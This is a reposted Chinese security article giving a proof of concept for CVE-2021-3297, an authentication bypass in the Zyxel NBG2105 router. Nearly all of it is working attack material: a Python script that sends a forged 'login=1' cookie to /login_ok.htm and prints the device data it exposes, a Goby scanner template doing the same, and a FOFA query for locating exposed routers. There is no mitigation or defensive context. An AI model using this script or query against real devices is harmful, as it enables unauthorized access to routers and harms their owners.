Zyxel NBG2105 身份验证绕过 CVE-2021-3297
2021-04-07 11:13:33 Author: mp.weixin.qq.com(查看原文) 阅读量:123 收藏


文章来源:Khan安全攻防实验室

POC:

# /usr/bin/python3import requestsimport sysfrom requests.packages.urllib3.exceptions import InsecureRequestWarning
""" by Sec fofa语句:app="ZyXEL-NBG2105""""

def poc(url): exp = url + "/login_ok.htm"
header = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", "cookie":"login=1", } try: requests.packages.urllib3.disable_warnings(InsecureRequestWarning) response = requests.get(url=exp, headers=header, verify=False,timeout=10) #print(response.text) if response.status_code == 200 and "GMT" in response.text: print(exp + " 存在Zyxel NBG2105 身份验证绕过 CVE-2021-3297漏洞!!!") print("数据信息如下:") print(response.text) else: print(exp + " 不存在Zyxel NBG2105 身份验证绕过 CVE-2021-3297漏洞!!!") except Exception as e: print(exp + "请求失败!!")

def main(): url = str(input("请输入目标url:")) poc(url)

if __name__ == "__main__": main()

Zyxel_NBG2105_Cookie_CVE_2021_3297.json

{      "Name": "Zyxel NBG2105 Cookie CVE-2021-3297",      "Level": "2",      "Tags": [],      "GobyQuery": "app=\"ZyXEL-NBG2105\"",      "Description": "Zyxel NBG2105 Cookie CVE-2021-3297",      "Product": "",      "Homepage": "Sec",      "Author": "Sec",      "Impact": "",      "Recommandation": "",      "References": [            "https://gobies.org/"      ],      "ScanSteps": [            "AND",            {                  "Request": {                        "method": "GET",                        "uri": "/login_ok.htm",                        "follow_redirect": true,                        "header": {                              "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",                              "cookie":"login=1"                        },
"data_type": "text", "data": "" }, "ResponseTest": { "type": "group", "operation": "AND", "checks": [ { "type": "item", "variable": "$code", "operation": "==", "value": "200", "bz": "" }, { "type": "item", "variable": "$body", "operation": "contains", "value": "GMT", "bz": "" } ] }, "SetVariable": [] } ], "PostTime": "2021-04-06 10:02:37", "GobyVersion": "1.8.239"}


文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650507684&idx=3&sn=083a3764165aa832521764596fc0f679&chksm=83baec40b4cd6556b6d9570a119f55bf0ce0392b82d4811d8a40429403aa611c82d99db96726#rd
如有侵权请联系:admin#unsafe.sh